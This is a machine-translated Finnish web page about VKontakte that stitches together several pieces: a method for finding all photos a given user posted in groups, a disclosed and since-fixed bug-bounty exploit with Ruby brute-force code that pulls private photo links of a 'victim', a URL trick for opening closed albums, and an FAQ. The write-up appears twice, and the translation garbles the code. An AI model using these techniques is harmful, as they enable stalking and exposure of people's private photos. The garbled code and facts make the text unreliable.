Yksityisiä kuvia käyttäjästä Natalya Petrovskaya VKontaktessa. VKontakten haavoittuvuus mahdollisti suorien linkkien hankkimisen yksityisiin valokuviin

VKontaktessa on monia julkisia sivuja, kuten: 90-60-90, 40 KG, Urheilutytöt. Näillä julkisilla sivuilla käyttäjät julkaisevat kuvia hahmoistaan, "ennen" ja "jälkeen" kuvia laihduttamisesta/urheilusta jne. Näiden ryhmien albumeissa olevien valokuvien kokonaismäärä ylittää joskus kymmeniä tuhansia. Valokuvia lähettäessään monet eivät ajattele seurauksia, koska he uskovat naiivisti, että jos he heittävät valokuvansa tuhansiin samankaltaisiin, kukaan ei löydä sitä. Leikkauksen alla kuvataan tietyn käyttäjän valokuvien etsiminen ryhmissä.

Ongelman muotoilu
  1. uid - VKontakte-käyttäjätunnus
  2. gid - VKontakte-ryhmän tunnus

Välttämätön:

  1. Etsi kaikki ryhmässä gid julkaistut kuvat käyttäjätunnuksesta
  2. Määritä, missä albumissa kukin valokuva on
VKontakte API

Yhteyshenkilöllä ei ole tapaa hakea suoraan kuvia, jotka tietty käyttäjä on lähettänyt tiettyyn ryhmään. Voit kuitenkin saavuttaa halutun tuloksen seuraavalla kaaviolla:
1. Hanki luettelo albumeista photos.getAlbums-menetelmällä:

VK.api("photos.getAlbums", ( gid: gid), function(result)( if (result.response)( // Albumiluettelo on result.response arrayssa // Albumin tunnus on apuväline field)else( / / Albumiluettelon haku epäonnistui ) ));

2. Hanki luettelo albumin valokuvista (apuohjelma) photos.get-menetelmällä:

VK.api("photos.get", ( gid: gid, aid: aid), function(result)( if (result.response)( // Valokuvien luettelo on result.response arrayssa // ID: kuvan omistaja on kentässä omistajatunnus // Valokuvan tunnus on pid-kentässä )else( // Albumin valokuvaluettelon hakeminen epäonnistui ) ));

3. Hanki valokuvan URL-osoite photos.getById-menetelmällä

VK.api("photos.getById", ( kuvat: pids ), function(result)( if(result.response)( for(var i=0; i

Kuinka nopeuttaa hakua?

Kaikkien ryhmien läpikäyminen on melko pitkä prosessi, eikä sen suorittaminen aina, kun etsit valokuvaa tietystä henkilöstä, ei ole suositeltavaa. Haun nopeuttamiseksi riittää, että kaikki valokuvat indeksoidaan lisäämällä hakemisto sisäiseen taulukkoon.
Taulukon tarvitsee sisältää vain 3 kenttää:

  • uid - käyttäjätunnus
  • gid - ryhmätunnus
  • pid - kuvallinen henkilöllisyystodistus

Kun olet indeksoinut ryhmät, suorita kysely

SELECT * FROM taulukosta WHERE uid = uid

Ystävien kuvien etsiminen

Käyttämällä friends.get-menetelmää voit saada luettelon ystävistä ja hakea sitten tietokannasta kuvia ystävistä:

VK.api("friends.get", ( user_id: uid), function(result)( if(result.response)( // Seuraavaksi etsimme kuvia ystävien tunnuksilla) ));

Linkit
  • Verkkosivusto valokuvien etsimiseen: photovk.ru
  • VKontakte-sovellus valokuvien etsimiseen:

tl;dr

VK:n kirjanmerkeistä löydettiin haavoittuvuus, joka mahdollisti suorien linkkien vastaanottamisen yksityisiin valokuviin minkä tahansa käyttäjän/ryhmän henkilökohtaisista viesteistä ja albumeista. Kirjoitettiin skripti, joka lajitteli käyttäjien kuvia tietyn ajan ja sai sitten tämän haavoittuvuuden kautta suorat linkit kuviin. Lyhyesti sanottuna saat kaikki eilisen valokuvasi 1 minuutissa, kaikki viime viikolla ladatut kuvat 7 minuutissa, viime kuussa 20 minuutissa, viime vuonna 2 tunnissa. Haavoittuvuus on nyt korjattu. VKontakten hallinto maksoi 10 000 äänen palkkion.


Tarina alkoi, kun minulle lähetettiin kuva henkilökohtaisessa viestissä VKontaktessa. Yleensä, jos jokin on tärkeää, lataan sen pilveen, mutta minun tapauksessani tämä ei ollut välttämätöntä, ja päätin käyttää VKontakte-kirjanmerkkitoimintoa.

Lyhyesti tästä toiminnosta: kaikki asiat, joista käyttäjä on pitänyt, lisätään kirjanmerkkeihin; Siellä on myös toiminto linkin manuaaliseen lisäämiseen käyttäjälle ja sisäiselle VKontakte-linkille. Viimeinen kohta vaikutti minusta erittäin mielenkiintoiselta, koska kun olin lisännyt linkin kuvaan, näin sen esikatselun ja tekstin lisätyn entiteetin tyypin kanssa:

Kun linkki lisätään, palvelin jäsentää sen, yrittää selvittää, mihin entiteettiin se viittaa ja hakee tietoa tästä objektista tietokannasta. Tyypillisesti, kun kirjoitetaan tällaista funktiota useilla ehdoilla, on erittäin suuri todennäköisyys, että kehittäjä unohtaa jotain. Joten minulla ei ollut varaa jättää sitä väliin, ja päätin käyttää muutaman minuutin kokeillakseen vähän.

Tuloksena onnistuin löytämään jotain. Lisäämällä linkin valokuvaan, muistiinpanoon tai videoon, joka ei ole käytettävissä, voit saada hieman yksityistä tietoa kohteesta. Valokuvien ja videoiden tapauksessa tämä on pieni (150x150) esikatselu, josta on melko vaikea nähdä otsikkoa yksityisille muistiinpanoille. API-menetelmän kautta fave.getLinks Linkkejä kuvaan oli mahdollista saada, mutta koko oli jälleen liian pieni (75px ja 130px). Eli periaatteessa ei mitään vakavaa.

Päätin mennä sivuston mobiiliversioon tarkistaakseni, näkyykö siellä kaikki samalla tavalla kuin tavallisessa versiossa. Katsoessani sivun koodia huomasin tämän:

Joo! Attribuutin arvossa data-src_big siellä oli suora linkki alkuperäiseen kuvaan!

Siten oli mahdollista saada suora linkki mihin tahansa kuvaan VKontaktessa riippumatta siitä, mihin se on ladattu ja mitä tietosuoja-asetuksia sillä oli. Tämä voi olla kuva henkilökohtaisista viesteistä tai valokuva minkä tahansa käyttäjän/ryhmän yksityisistä albumeista.

Näyttäisi siltä, ​​että voisin pysähtyä ja kirjoittaa kehittäjille, mutta mietin, olisiko tätä haavoittuvuutta hyödyntämällä mahdollista päästä käsiksi kaikkiin (tai tietyn ajan kuluessa ladattuihin) käyttäjän kuviin. Suurin ongelma tässä, kuten ymmärrät, oli se, että linkkiä lomakkeen yksityiseen valokuvaan ei aina tiedetä valokuvaXXXXXX_XXXXXXXXX lisätäksesi kirjanmerkkeihisi. Tuli mieleen ajatus etsiä kuvan id:n läpi, mutta jostain syystä hylkäsin sen heti hulluna. Tarkistin valokuviin liittyvät menetelmät API:ssa, katsoin kuinka sovellus toimii albumien kanssa, mutta en löytänyt vuotoja, jotka auttaisivat minua saamaan luettelon kaikkien käyttäjien yksityisten valokuvien tunnuksesta. Olin luopumassa tästä ajatuksesta, mutta katsoessani uudelleen kuvan linkistä tajusin yhtäkkiä, että yli laidan meneminen oli hyvä idea.

Miten valokuvat toimivat VK:ssa

Miten voisit korvata, linkki kuvaan kuva52708106_359542386 koostuu kahdesta osasta: (käyttäjätunnus)_(joku outo numero). Miten toinen osa muodostuu?

Valitettavasti kahden tunnin kokeilun jälkeen en vieläkään ymmärtänyt tätä. Vuonna 2012 HighLoad++:ssa Oleg Illarionov sanoi muutaman sanan valokuvien tallentamisesta, vaakasuuntaisesta sirpaloitumisesta ja palvelimen satunnaisesta valinnasta latausta varten, mutta nämä tiedot eivät antaneet minulle mitään, koska palvelimen tunnuksen ja palvelimen välillä ei ole yhteyttä. kuva id. On selvää, että on olemassa jonkinlainen globaali laskuri, mutta siellä on jotain muuta logiikkaa... Koska jos toinen luku muodostettaisiin tavallisella automaattisella lisäyksellä, niin kuvallisten henkilöllisyystodistusten arvot olisivat saavuttaneet jo aikoja sitten valtavat arvot. (esim. Facebookilla se on tällä hetkellä ~ 700 biljoonaa), mutta Vkontaktelle tämä arvo on vain ~ 400 miljoonaa (tosin tilastojen perusteella päivittäin käyttäjät lataavat yli 30 miljoonaa kuvaa). Nuo. On selvää, että tämä luku ei ole ainutlaatuinen, mutta samalla se ei ole satunnainen. Kirjoitin käsikirjoituksen, joka kävi läpi "vanhojen" käyttäjien valokuvat ja tein saatujen tietojen perusteella kaavion siitä, kuinka paljon tämä luku muuttui jokaisen kanssa. vuosi:

Voidaan nähdä, että arvot vaihtelevat riippuen joistakin tekijöistä (palvelimien määrä vai uusi logiikka?). Mutta pointti on, että ne ovat tarpeeksi pieniä (etenkin viimeisen 2-3 vuoden aikana) ja on erittäin helppo laskea id-alue halutulle ajanjaksolle. Eli saadaksesi selville suoria linkkejä käyttäjän kuviin, esimerkiksi viime vuodelta, sinun on yritettävä merkitä vain 30 miljoonaa (_320000000 - _350000000) erilaista linkkimuunnelmaa! Alla olen kuvaillut raa'an voiman tekniikkaa, jonka avulla pystyin tekemään tämän muutamassa minuutissa.

Valokuvien läpikäyminen

Voit lisätä kaiken tämän manuaalisesti käyttöliittymän kautta tai kirjoittaa skriptin, joka lisää yhden linkin kirjanmerkkeihin, mutta se olisi tylsää ja aikaa vievää. Hakunopeus olisi tässä tapauksessa 3 kirjanmerkkiä sekunnissa, koska lähettää yli kolme pyyntöä sekunnissa Vkontakte-palvelimelle se on kielletty.

Nopeuta hakua x25

Päätin käyttää menetelmää kiertääkseni 3 pyynnön rajaa ainakin hieman suorittaa. Yhdessä tämän menetelmän kutsussa 25 kutsua API-menetelmiin on mahdollista.

Muuttujan aloitus = parseInt(Args.start); var end = parseInt(Args.end); var uhriId = Args.id; var link = "http://vk.com/photo" + uhritunnus + "_"; while(alku != loppu) ( API.fave.addLink(( "linkki": linkki + aloitus )); alku = alku + 1; );
Siten onnistuimme nostamaan raakavoiman nopeuden 3*25 kirjanmerkkeihin/sek. Kuluneen vuoden aikana valokuvien lajittelu olisi kestänyt pitkään, mutta lyhyitä aikoja tämä lajittelutapa oli jo melko hyvä.

Nopeutamme hakua x25 * rinnakkaisten pyyntöjen määrä sekunnissa

Pyyntöjen/sekuntimäärän rajoitus koskee jokaista sovellusta erikseen, ei koko käyttäjää. Joten mikään ei estä sinua lähettämästä useita pyyntöjä rinnakkain, mutta samalla käyttämällä eri sovellusten tunnuksia.

Ensin meidän piti löytää (tai luoda) tarvittava määrä sovelluksia. Kirjoitettiin komentosarja, joka etsii itsenäisiä sovelluksia tietyltä sovellustunnistealueelta:

Luokka StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = def search (@range).each do |app_id| vastaus = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").lue sovellus = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Sovelluksia oli myös mahdollista valita käyttäjien lukumäärän mukaan, mikä nopeuttaa hakua entisestään:

Mutta päätin olla vaivautumatta siihen.

Ok, sovellukset on löydetty, nyt niiden täytyy antaa lupa käyttäjätiedoillemme ja vastaanottaa tokeneja. Valtuutukseen jouduimme käyttämään implisiittistä virtausmekanismia. Minun piti jäsentää valtuutus-URL-osoite OAuth-valintaikkunasta ja vetää token esiin uudelleenohjauksen jälkeen. Tämä luokka vaatii evästeitä toimiakseen. p,l(login.vk.com) ja remixsid(vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( "Eväste" => cookie_header ) @access_tokens = end def authorize_apps(apps) apps.each do |app_id| auth_url = Pura_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Löytyneiden sovellusten määrä on yhtä suuri kuin rinnakkaisten pyyntöjen määrä. Tämän koko asian rinnastamiseksi päätettiin käyttää Typhoeus-helmiä, joka on osoittautunut muissa tehtävissä. Tuloksena on tällainen pieni brute forcer:

Class PhotosBruteforcer PHOTOS_ID_BY_PERIOD = ( "tänään" => 366300000..366500000, "eilen" => 366050000..366300000, "nykyinen_kuukausi" => 3663000006,0500006 0000 00..365000000, "nykyinen_vuosi" = > 350000000..366500000, "viime_vuosi" => 320000000..350000000 ) def alustus(params) @victim_id = params[:victim_id] @period = PHOTOS_ID_BY_PERIOD:en sIteraattori = 0 (@jakso).vaihe(25) do |kuvan_tunnus| url = "https://api.vk.com/method/execute?access_token=#(tokens)&code=#(vkscript(photo_id))" encoded_url = URI.escape(url).gsub("+", "% 2B").delete("\n") tokensIterator = tokensIterator == tokens.count - 1 ? 0: tokensIterator + 1 hydra.queue Typhoeus::Request.new encoded_url hydra.run jos tokensIterator.zero? lopettaa hydra.run, ellei hydra.queued_requests.count.zero? lopeta yksityinen def vkscript(photo_id)<<-VKScript var start = #{photo_id}; var end = #{photo_id + 25}; var link = "http://vk.com/photo#{@victim_id}" + "_"; while(start != end) { API.fave.addLink({ "link": link + start }); start = start + 1; }; return start; VKScript end end
Raakavoiman nopeuttamiseksi vielä enemmän, vastauksessa yritettiin päästä eroon tarpeettomasta ruumiista, mutta PÄÄ VKontakte-palvelinpyyntö palauttaa virheen 501 Ei toteutettu.

Käsikirjoituksen lopullinen versio näyttää tältä:

Vaadi "nokogiri" vaatii "open-uri" vaadi "typhoeus" vaadi "json" vaadi "./standalone_apps_finder" vaadi "./photos_bruteforcer" vaadi "./authenticator" bruteforcer = PhotosBruteforcer.new(uhritunnus: ARGV, piste: ARGV) apps_finder = ItsenäinenAppsFinder.new(in_range: 4800000..4800500) apps_finder.search # p,l - evästeet osoitteesta login.vk.com # remixsid - eväste osoitteesta vk.com authenticator = Authenticator.new("p=;" + "l =;" + "remixsid=;") authenticator.authorize_apps(apps_finder.app_ids) bruteforcer.run(authenticator.access_tokens)
Ohjelman suorittamisen jälkeen kirjanmerkit sisälsivät kaikki käyttäjän kuvat tietyltä ajanjaksolta. Jäljelle jäi vain siirtyä VKontakten mobiiliversioon, avata selainkonsoli, vetää esiin suorat linkit ja nauttia kuvista alkuperäisessä koossa.

Tulokset

Yleensä kaikki riippuu Internet-yhteydestäsi ja välityspalvelinten nopeudesta, Vkontakte-palvelimien latenssista, prosessorin tehosta ja monista muista tekijöistä. Kokeiltuani yllä olevaa skriptiä tililläni, sain seuraavat numerot (ottamatta huomioon rahakkeiden vastaanottamiseen käytettyä aikaa):

Taulukossa näkyy keskimääräinen aika, joka tarvitaan valokuvallisten henkilöllisyystodistusten kokeilemiseen tietyn ajanjakson aikana. Olen varma, että tätä kaikkea olisi voitu nopeuttaa 10-20 kertaa. Tee esimerkiksi brute force -skriptissä yksi suuri jono kaikista pyynnöistä ja normaalista synkronoinnista niiden välillä, koska toteutuksessani yksi aikakatkaisupyyntö hidastaa koko prosessia. Ja yleensä, voit ostaa vain muutaman esiintymän EC2:sta ja saada kaikki valokuvat kenestä tahansa tunnissa. Mutta halusin jo nukkua.

Ja yleensä, sillä ei ole väliä kuinka paljon aikaa hyökkääjä käyttää tähän, 5 tuntia tai koko päivä, koska tavalla tai toisella hän saa linkkejä yksityisiin kuviin. Kyky päästä turvallisesti käsiksi yksityisiin tietoihin rajallisessa ajassa on tämän haavoittuvuuden suurin uhka.

Haavoittuvuuden ilmoittaminen

Aluksi raportti lähetettiin tukipalveluun, mutta vastauksen "kiitos, korjaamme varmaan jotenkin..." ja viikon odotuksen jälkeen tuli jotenkin surullinen olo. Kiitos, että autat ottamaan yhteyttä suoraan kehittäjiin. Sen jälkeen bugit suljettiin muutamassa tunnissa ja muutamaa päivää myöhemmin hallinto siirsi tililleni 10k palkkion

70 333 033 2

Usein tapahtuu, että sinun on kipeästi katsottava yksityisen VK-profiilin valokuvia. Kuten tiedät, jokaisella käyttäjällä on mahdollisuus valita itsenäisesti profiilinsa tietosuojataso, joten kokonaisen albumin tai yksittäisten kuvien sulkeminen on vain muutamalla napsautuksella. Osoittautuu, että voit katsoa suljettuja kuvia! On tiettyjä temppuja ja "reikiä", joista yhdestä kerromme sinulle tänään.

Muista, että ne kaikki sulkeutuvat nopeasti, joten ei ole tosiasia, että tämä, kuten mikä tahansa muu menetelmä, tulee voimaan viikon tai kuukauden kuluttua.

Tarvitset:

Lähdekoodin avaaminen

Kokeile ensin. Jos albumit eivät avaudu, toimi seuraavasti. Avaa siis sen henkilön profiili, jonka kuvia haluamme nähdä. Seuraavaksi meidän on avattava tämän sivun lähdekoodi.

Napsauta hiiren kakkospainikkeella vapaata aluetta ja etsi pikavalikosta kohta "Näytä sivun lähdekoodi", "Näytä elementtikoodi" tai vastaava. Voit myös käyttää F12-näppäintä, jos sinulla on Google Chrome. Joten tässä on sivun lähdekoodi. Mitä seuraavaksi?

Etsitään tarvittavaa fragmenttia

Avaa hakupalkki näppäinyhdistelmällä Ctrl+F ja kirjoita sinne sana "albumit".

Tuloksia tulee useita, mutta tarvitsemme sen, jota seuraa numerot (tämä on profiilitunnus). Yleensä tämä fragmentti on kolmas alusta alkaen hakutuloksissa. Löytänyt sen? Hienoa, kopioi ne Ctrl+C-näppäinyhdistelmällä.

Työskentely osoitepalkin kanssa

Joten meillä on tarvittava koodifragmentti. Mitä seuraavaksi? Nähdäksesi piilotetut valokuvat Yhteystiedot, palaa vaaditulle sivulle (emme enää tarvitse sivua lähdekoodilla).

Selaimen osoitepalkissa näkyy linkki, kuten vk.com/id#####, jossa #### on sivun tunnus. Sinun pitäisi tietää ja ystävät. Asetamme kohdistimen osoitepalkin loppuun ja kirjoitamme siihen seuraavat merkit: “?z=”, minkä jälkeen kopioimme tänne fragmentin etsimämme sivun lähdekoodista.

Tämän seurauksena selaimen osoiterivillä pitäisi olla seuraava: vk.com/id####?z=albums####, jossa #### on henkilön tunnus.

Painamme Enter, ja kaikki henkilön valokuvat avautuvat edessämme.

Tällä yksinkertaisella tavalla voit tarkastella valokuvia suljetussa albumissa VKontaktessa sekä nähdä luettelon niiden ihmisten albumeista, jotka on poistettu VKontakten ystäviltä tai tuntemattomilta käyttäjiltä.

Usein kysytyt kysymykset ja vastaukset

    Kuinka tarkastella VK-käyttäjän yksityistä albumia puhelimella?

    Ohjeet katseluun ovat samat kuin tietokoneelta katsottaessa.

    Mitkä ovat VKontakten piilotetut mahdollisuudet?

    1. Jos siirryt "Asetukset" -osioon ja vaihdat "Yleiset"-välilehdellä kielen vallankumousta edeltäväksi tai Neuvostoliiton kieleksi, VKontakten käyttöliittymä muuttuu hieman.
    2. Jos haluat, että jotkin sinua koskevat tiedot pysyvät tyhjinä henkilökohtaisella sivullasi, lisää koodi näihin kenttiin.
    3. Voit luoda aktiivisen linkin mihin tahansa VKontakte-ryhmään "Työpaikka" -sarakkeessa. Voit tehdä tämän siirtymällä "Muokkaa"-osioon, valitsemalla "Ura"-välilehden ja kirjoittamalla "Työpaikka"-osioon sen yhteisön nimi, jonka jäsen olet.
    4. "Asetukset"-osiossa id voidaan muuttaa lyhyeksi ja mieleenpainuvaksi osoitteeksi.

    Mikä palvelu on olemassa yhteystietojen piilotettujen valokuvien katseluun?

    Sinun on löydettävä valokuva henkilöstä, johon hänet on merkitty, siirry sitten pikanäkymään ja selaa valokuvaa. Huolimatta siitä, että säännöllinen pääsy niihin on suljettu, voit tarkastella niitä. Tekninen palvelu ei vielä pysty poistamaan tätä "reikää".

    Kuinka tarkastella yksityistä VK-tiliä?

    Yksityisen profiilin tarkastelemiseksi tarvitset:
    1. Selvitä profiilin tunnus. vie hiiri "Friends NAME" päälle. Kopioi linkki.
    2. *[linkki estetty hankehallinnon päätöksellä].
    3. Numerot "id=":n jälkeen ovat profiilin tunnus.
    Kopioimme nämä numerot ja liitämme ne tarvittaviin linkkeihin.

    Kuka voi nähdä kuvia VKontaktessa?

    Riippuen siitä, kenelle olet antanut pääsyn kuviisi.

    Kuinka nähdä kaikki yhteystiedot?

    Nämä tiedot on kuvattu artikkelissa.

    Kuinka nähdä valokuva ryhmästä VKontaktessa?

    Etsi kiinnostuksen kohteitasi vastaava ryhmä tai sivu ja valitse sitten vaihtoehto "Yhteisöt"-hakupalkin alapuolelta. Sitten hieman oikealla näet "Yhteisön tyyppi" (valitse valintaruutu: mikä tahansa, ryhmä, sivu, kokous) ja napsauta hakua. Näyttöön tulee luettelo ryhmistä, joista voit valita itsellesi sopivat. Jos ryhmä on avoin, voit helposti tarkastella sen kaikkea sisältöä: ääntä, videota, valokuvia, keskusteluja.
    Jos olet suljetun ryhmän sivulla, kiinnitä huomiota kuvan alla olevaan oikeaan yläkulmaan. Siinä lukee: "Tilaa" (sivulle) tai "Lähetä hakemus" (ryhmälle).
    Odota hetki, sillä ryhmän ylläpitäjät tarkistavat hakemuksesi. Jos he hyväksyvät, ryhmä näkyy sivullasi luettelossa. Voit nyt tarkastella koko ryhmän sisältöä.

tl;dr

VK:n kirjanmerkeistä löydettiin haavoittuvuus, joka mahdollisti suorien linkkien vastaanottamisen yksityisiin valokuviin minkä tahansa käyttäjän/ryhmän henkilökohtaisista viesteistä ja albumeista. Kirjoitettiin skripti, joka lajitteli käyttäjien kuvia tietyn ajan ja sai sitten tämän haavoittuvuuden kautta suorat linkit kuviin. Lyhyesti sanottuna saat kaikki eilisen valokuvasi 1 minuutissa, kaikki viime viikolla ladatut kuvat 7 minuutissa, viime kuussa 20 minuutissa, viime vuonna 2 tunnissa. Haavoittuvuus on nyt korjattu. VKontakten hallinto maksoi 10 000 äänen palkkion.


Tarina alkoi, kun minulle lähetettiin kuva henkilökohtaisessa viestissä VKontaktessa. Yleensä, jos jokin on tärkeää, lataan sen pilveen, mutta minun tapauksessani tämä ei ollut välttämätöntä, ja päätin käyttää VKontakte-kirjanmerkkitoimintoa.

Lyhyesti tästä toiminnosta: kaikki asiat, joista käyttäjä on pitänyt, lisätään kirjanmerkkeihin; Siellä on myös toiminto linkin manuaaliseen lisäämiseen käyttäjälle ja sisäiselle VKontakte-linkille. Viimeinen kohta vaikutti minusta erittäin mielenkiintoiselta, koska kun olin lisännyt linkin kuvaan, näin sen esikatselun ja tekstin lisätyn entiteetin tyypin kanssa:

Kun linkki lisätään, palvelin jäsentää sen, yrittää selvittää, mihin entiteettiin se viittaa ja hakee tietoa tästä objektista tietokannasta. Tyypillisesti, kun kirjoitetaan tällaista funktiota useilla ehdoilla, on erittäin suuri todennäköisyys, että kehittäjä unohtaa jotain. Joten minulla ei ollut varaa jättää sitä väliin, ja päätin käyttää muutaman minuutin kokeillakseen vähän.

Tuloksena onnistuin löytämään jotain. Lisäämällä linkin valokuvaan, muistiinpanoon tai videoon, joka ei ole käytettävissä, voit saada hieman yksityistä tietoa kohteesta. Valokuvien ja videoiden tapauksessa tämä on pieni (150x150) esikatselu, josta on melko vaikea nähdä otsikkoa yksityisille muistiinpanoille. API-menetelmän kautta fave.getLinks Linkkejä kuvaan oli mahdollista saada, mutta koko oli jälleen liian pieni (75px ja 130px). Eli periaatteessa ei mitään vakavaa.

Päätin mennä sivuston mobiiliversioon tarkistaakseni, näkyykö siellä kaikki samalla tavalla kuin tavallisessa versiossa. Katsoessani sivun koodia huomasin tämän:

Joo! Attribuutin arvossa data-src_big siellä oli suora linkki alkuperäiseen kuvaan!

Siten oli mahdollista saada suora linkki mihin tahansa kuvaan VKontaktessa riippumatta siitä, mihin se on ladattu ja mitä tietosuoja-asetuksia sillä oli. Tämä voi olla kuva henkilökohtaisista viesteistä tai valokuva minkä tahansa käyttäjän/ryhmän yksityisistä albumeista.

Näyttäisi siltä, ​​että voisin pysähtyä ja kirjoittaa kehittäjille, mutta mietin, olisiko tätä haavoittuvuutta hyödyntämällä mahdollista päästä käsiksi kaikkiin (tai tietyn ajan kuluessa ladattuihin) käyttäjän kuviin. Suurin ongelma tässä, kuten ymmärrät, oli se, että linkkiä lomakkeen yksityiseen valokuvaan ei aina tiedetä valokuvaXXXXXX_XXXXXXXXX lisätäksesi kirjanmerkkeihisi. Tuli mieleen ajatus etsiä kuvan id:n läpi, mutta jostain syystä hylkäsin sen heti hulluna. Tarkistin valokuviin liittyvät menetelmät API:ssa, katsoin kuinka sovellus toimii albumien kanssa, mutta en löytänyt vuotoja, jotka auttaisivat minua saamaan luettelon kaikkien käyttäjien yksityisten valokuvien tunnuksesta. Olin luopumassa tästä ajatuksesta, mutta katsoessani uudelleen kuvan linkistä tajusin yhtäkkiä, että yli laidan meneminen oli hyvä idea.

Miten valokuvat toimivat VK:ssa

Miten voisit korvata, linkki kuvaan kuva52708106_359542386 koostuu kahdesta osasta: (käyttäjätunnus)_(joku outo numero). Miten toinen osa muodostuu?

Valitettavasti kahden tunnin kokeilun jälkeen en vieläkään ymmärtänyt tätä. Vuonna 2012 HighLoad++:ssa Oleg Illarionov sanoi muutaman sanan valokuvien tallentamisesta, vaakasuuntaisesta sirpaloitumisesta ja palvelimen satunnaisesta valinnasta latausta varten, mutta nämä tiedot eivät antaneet minulle mitään, koska palvelimen tunnuksen ja palvelimen välillä ei ole yhteyttä. kuva id. On selvää, että on olemassa jonkinlainen globaali laskuri, mutta siellä on jotain muuta logiikkaa... Koska jos toinen luku muodostettaisiin tavallisella automaattisella lisäyksellä, niin kuvallisten henkilöllisyystodistusten arvot olisivat saavuttaneet jo aikoja sitten valtavat arvot. (esim. Facebookilla se on tällä hetkellä ~ 700 biljoonaa), mutta Vkontaktelle tämä arvo on vain ~ 400 miljoonaa (tosin tilastojen perusteella päivittäin käyttäjät lataavat yli 30 miljoonaa kuvaa). Nuo. On selvää, että tämä luku ei ole ainutlaatuinen, mutta samalla se ei ole satunnainen. Kirjoitin käsikirjoituksen, joka kävi läpi "vanhojen" käyttäjien valokuvat ja tein saatujen tietojen perusteella kaavion siitä, kuinka paljon tämä luku muuttui jokaisen kanssa. vuosi:

Voidaan nähdä, että arvot vaihtelevat riippuen joistakin tekijöistä (palvelimien määrä vai uusi logiikka?). Mutta pointti on, että ne ovat tarpeeksi pieniä (etenkin viimeisen 2-3 vuoden aikana) ja on erittäin helppo laskea id-alue halutulle ajanjaksolle. Eli saadaksesi selville suoria linkkejä käyttäjän kuviin, esimerkiksi viime vuodelta, sinun on yritettävä merkitä vain 30 miljoonaa (_320000000 - _350000000) erilaista linkkimuunnelmaa! Alla olen kuvaillut raa'an voiman tekniikkaa, jonka avulla pystyin tekemään tämän muutamassa minuutissa.

Valokuvien läpikäyminen

Voit lisätä kaiken tämän manuaalisesti käyttöliittymän kautta tai kirjoittaa skriptin, joka lisää yhden linkin kirjanmerkkeihin, mutta se olisi tylsää ja aikaa vievää. Hakunopeus olisi tässä tapauksessa 3 kirjanmerkkiä sekunnissa, koska lähettää yli kolme pyyntöä sekunnissa Vkontakte-palvelimelle se on kielletty.

Nopeuta hakua x25

Päätin käyttää menetelmää kiertääkseni 3 pyynnön rajaa ainakin hieman suorittaa. Yhdessä tämän menetelmän kutsussa 25 kutsua API-menetelmiin on mahdollista.

Muuttujan aloitus = parseInt(Args.start); var end = parseInt(Args.end); var uhriId = Args.id; var link = "http://vk.com/photo" + uhritunnus + "_"; while(alku != loppu) ( API.fave.addLink(( "linkki": linkki + aloitus )); alku = alku + 1; );
Siten onnistuimme nostamaan raakavoiman nopeuden 3*25 kirjanmerkkeihin/sek. Kuluneen vuoden aikana valokuvien lajittelu olisi kestänyt pitkään, mutta lyhyitä aikoja tämä lajittelutapa oli jo melko hyvä.

Nopeutamme hakua x25 * rinnakkaisten pyyntöjen määrä sekunnissa

Pyyntöjen/sekuntimäärän rajoitus koskee jokaista sovellusta erikseen, ei koko käyttäjää. Joten mikään ei estä sinua lähettämästä useita pyyntöjä rinnakkain, mutta samalla käyttämällä eri sovellusten tunnuksia.

Ensin meidän piti löytää (tai luoda) tarvittava määrä sovelluksia. Kirjoitettiin komentosarja, joka etsii itsenäisiä sovelluksia tietyltä sovellustunnistealueelta:

Luokka StandaloneAppsFinder attr_reader:app_ids def initialize(params) @range = params[:in_range] @app_ids = def search (@range).each do |app_id| vastaus = open("https://api.vk.com/method/apps.get?app_id=#(app_id)").lue sovellus = JSON.parse(response)["response"] app_ids<< app_id if standalone?(app) end end private def standalone?(app_data) app_data["type"] == "standalone" end end
Sovelluksia oli myös mahdollista valita käyttäjien lukumäärän mukaan, mikä nopeuttaa hakua entisestään:

Mutta päätin olla vaivautumatta siihen.

Ok, sovellukset on löydetty, nyt niiden täytyy antaa lupa käyttäjätiedoillemme ja vastaanottaa tokeneja. Valtuutukseen jouduimme käyttämään implisiittistä virtausmekanismia. Minun piti jäsentää valtuutus-URL-osoite OAuth-valintaikkunasta ja vetää token esiin uudelleenohjauksen jälkeen. Tämä luokka vaatii evästeitä toimiakseen. p,l(login.vk.com) ja remixsid(vk.com):

Class Authenticator attr_reader:access_tokens def initialize(cookie_header) @cookies = ( "Eväste" => cookie_header ) @access_tokens = end def authorize_apps(apps) apps.each do |app_id| auth_url = Pura_auth_url_from(oauth_page(app_id)) redirect_url = open(auth_url, @cookies).base_uri.to_s access_tokens<< extract_token_from(redirect_url) end end private def extract_auth_url_from(oauth_page_html) Nokogiri::HTML(oauth_page_html).css("form").attr("action").value end def extract_token_from(url) URI(url).fragment end def oauth_page(app_id) open(oauth_page_url(app_id), @cookies).read end def oauth_page_url(app_id) "https://oauth.vk.com/authorize?" + "client_id=#{app_id}&" + "response_type=token&" + "display=mobile&" + "scope=474367" end end
Löytyneiden sovellusten määrä on yhtä suuri kuin rinnakkaisten pyyntöjen määrä. Tämän koko asian rinnastamiseksi päätettiin käyttää Typhoeus-helmiä, joka on osoittautunut muissa tehtävissä. Tuloksena on tällainen pieni brute forcer:

